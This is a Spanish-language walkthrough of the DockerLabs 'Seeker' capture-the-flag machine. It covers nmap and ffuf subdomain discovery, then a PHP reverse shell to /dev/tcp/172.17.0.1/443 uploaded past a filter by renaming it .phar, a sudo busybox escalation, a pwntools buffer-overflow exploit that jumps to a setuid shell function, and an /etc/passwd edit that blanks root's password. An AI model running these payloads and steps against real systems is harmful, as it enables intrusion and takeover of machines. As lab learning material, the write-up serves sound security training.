Seeker
Última actualización
Última actualización
Máquina Seeker de DockerLabs
Autor: maciiii___
Dificultad: medio
Comenzamos con un escaneo de nmap
:
nmap -p- -sSVC --open --min-rate 5000 -Pn -n -vvv -oN escaneo.txt 172.17.0.2
# Nmap 7.95 scan initiated Sun Jan 19 23:30:18 2025 as: nmap -p- -sSVC --open --min-rate 5000 -Pn -n -vvv -oN escaneo.txt 172.17.0.2
Warning: Hit PCRE_ERROR_MATCHLIMIT when probing for service http with the regex '^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?.*\r\nServer: Virata-EmWeb/R([\d_]+)\r\nContent-Type: text/html; ?charset=UTF-8\r\nExpires: .*<title>HP (Color |)LaserJet ([\w._ -]+) '
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.000015s latency).
Scanned at 2025-01-19 23:30:18 -03 for 8s
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.62 (Debian)
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
MAC Address: 02:42:AC:11:00:02 (Unknown)
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan 19 23:30:26 2025 -- 1 IP address (1 host up) scanned in 8.44 seconds
Como vemos, solo tenemos 1 puerto abierto que es el 80 y en el funciona apache en su versión 2.4.62.
Puerto 80
Al entrar en la web, podemos notar que es la página default de apache, solo que en algunas partes en vez de decir /var/www/html
como dice normalmente, dice /var/www/5eEk3r
por lo que podemos intuir que en el servidor hay un dominio. En dockerlabs generalmente terminan en ".dl", por lo que lo agregaremos en el archivo /etc/hosts
de la siguiente manera:
<IP> 5eEk3r.dl
Subdomain fuzz
Ahora que sabemos que hay un dominio y como en esa web no hay nada, usaremos ffuf
para buscar algún subdominio:
ffuf -u "http://5eEk3r.dl/" -w directory-list-2.3-medium.txt -H "Host: FUZZ.5eEk3r.dl" -fw 3427
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://5eEk3r.dl/
:: Wordlist : FUZZ: directory-list-2.3-medium.txt
:: Header : Host: FUZZ.5eEk3r.dl
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 3427
________________________________________________
crosswords [Status: 200, Size: 934, Words: 180, Lines: 102, Duration: 2ms]
:: Progress: [220559/220559] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
como vemos en el resultado, tenemos el subdominio crosswords
, el cual también agregaremos en el archivo /etc/hosts
:
<IP> 5eEk3r.dl crosswords.5eEk3r.dl
En este subdominio encontramos cosas interesantes, ya que es una web la cual parece pasar un texto a ROT14, además que en el código fuente dice este mensaje:
<! -- Al que contratamos para crear la web nos habló de algo llamado 'xss'... que será? -->
yo no se en que parte estará ese xss...
Luego de buscar un poco, no encuentro nada útil en esa web, por lo que vuelvo a hacer fuzzing de subdominios pero en ese subdominio:
ffuf -u "http://5eEk3r.dl/" -w directory-list-2.3-medium.txt -H "Host: FUZZ.crosswords.5eEk3r.dl" -fw 3427
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://5eEk3r.dl/
:: Wordlist : FUZZ: directory-list-2.3-medium.txt
:: Header : Host: FUZZ.crosswords.5eEk3r.dl
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 3427
________________________________________________
admin [Status: 200, Size: 2906, Words: 1318, Lines: 104, Duration: 2ms]
:: Progress: [220559/220559] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
nuevamente encontramos un subdominio pero llamado "admin", el cual volveremos a poner en el archivo /etc/hosts
de la siguiente manera:
<IP> 5eEk3r.dl crosswords.5eEk3r.dl admin.crosswords.5eEk3r.dl
Al entrar en el, podemos ver una web la cual permite administrar los archivos de la web anterior, y también nos permite subir archivos, por lo que ya podemos lograr entrar en la máquina.
Teniendo una subida de archivos, podemos crear un archivo php el cual nos envíe una reverse shell. Para hacerlo creamos un archivo llamado shell.php
el cual contenga lo siguiente:
<?php
system("bash -c 'bash -i >& /dev/tcp/172.17.0.1/443 0>&1'");
?>
Una vez creado, intentamos subirlo pero nos dice lo siguiente:
No se permiten archivos PHP, solo HTML.
podemos intentar bypasear esta restricción cambiando la extensión del archivo por phar
. Al cambiarlo e intentar subirlo, nos aparece el siguiente mensaje:
Archivo subido con éxito: shell.phar
ahora escuchamos por el puerto 443 con netcat (sudo nc -lvnp 443
) y entramos en http://crosswords.5eek3r.dl/shell.phar
para entrar en la máquina.
Si ejecutamos sudo -l
, veremos que podemos ejecutar el binario busybox
como el usuario "astu", por lo que podriamos escalar ejecutando lo siguiente:
sudo -u astu busybox sh
Al ejecutar sudo -l
nos pide contraseña, pero en la home de el usuario astu podremos ver una carpeta la cual tiene un binario con el bit SUID activado. Viendo esto probamos a poner muchos caracteres y veremos que es vulnerable a buffer overflow
. Sabiendo esto nos lo pasamos a nuestra máquina y comenzamos a depurarlo con gdb
.
Buffer Overflow
Creamos un pattern con pattern_create
de metasploit y lo mandamos por el gdb con el binario y vemos lo siguiente:
► 0x4013d8 <main+58> ret <0x6341356341346341>
ahora pasamos 0x6341356341346341
a la herramienta pattern_offset
de metasploit y nos dice lo siguiente:
❯ /opt/metasploit/tools/exploit/pattern_offset.rb -q 0x6341356341346341
[*] Exact match at offset 72
❯
Por lo que ya tenemos un offset y podemos ir armando el exploit:
#!/usr/bin/env python3
from pwn import *
def exploit():
binario = '/home/astu/secure/bs64'
i = process(binario)
buffer = b"\x90"*72
RIP = b"B"*6
payload = buffer + RIP
i.sendline(payload)
i.interactive()
if __name__ == '__main__':
exploit()
Ahora si revisamos con checksec
el binario, veremos que tiene NX activado como protección, eso significa que el stack no es ejecutable, por lo que no nos sirve meter un shellcode. También si revisamos las funciónes con gdb (info functions
), veremos una llamada "fire" la cual establece el uid en 0 y además ejecuta un sh, ya que con strings
vemos lo siguiente:
Ejecutando /bin/sh
por lo que podriamos intentar apuntar a esa función para poder escalar a root.
pwndbg> disassemble fire
Dump of assembler code for function fire:
0x000000000040136a <+0>: push rbp
0x000000000040136b <+1>: mov rbp,rsp
0x000000000040136e <+4>: lea rax,[rip+0xcfb] # 0x402070
0x0000000000401375 <+11>: mov rdi,rax
0x0000000000401378 <+14>: mov eax,0x0
0x000000000040137d <+19>: call 0x401050 <printf@plt>
0x0000000000401382 <+24>: mov edi,0x0
0x0000000000401387 <+29>: call 0x401070 <setuid@plt>
0x000000000040138c <+34>: lea rax,[rip+0xcf0] # 0x402083
0x0000000000401393 <+41>: mov rdi,rax
0x0000000000401396 <+44>: call 0x401040 <system@plt>
0x000000000040139b <+49>: nop
0x000000000040139c <+50>: pop rbp
0x000000000040139d <+51>: ret
End of assembler dump.
pwndbg>
en este caso tendremos que utilizar la dirección 0x40136b
.
finalmente, el exploit quedaría asi:
#!/usr/bin/env python3
from pwn import *
def exploit():
binario = '/home/astu/secure/bs64'
i = process(binario)
buffer = b"\x90"*72
RIP = p64(0x40136b)
payload = buffer + RIP
i.sendline(payload)
i.interactive()
if __name__ == '__main__':
exploit()
lo pasamos a la máquina y al ejecutarlo tendreoms una sh casi como root, ya que todavía no tenemos los permisos totales de root, para arreglar esto, simplemente ejecutamos lo siguiente:
sed 's/root:x:/root::/g' /etc/passwd -i && su
y ya seremos root al 100%.
Gracias por leer ;)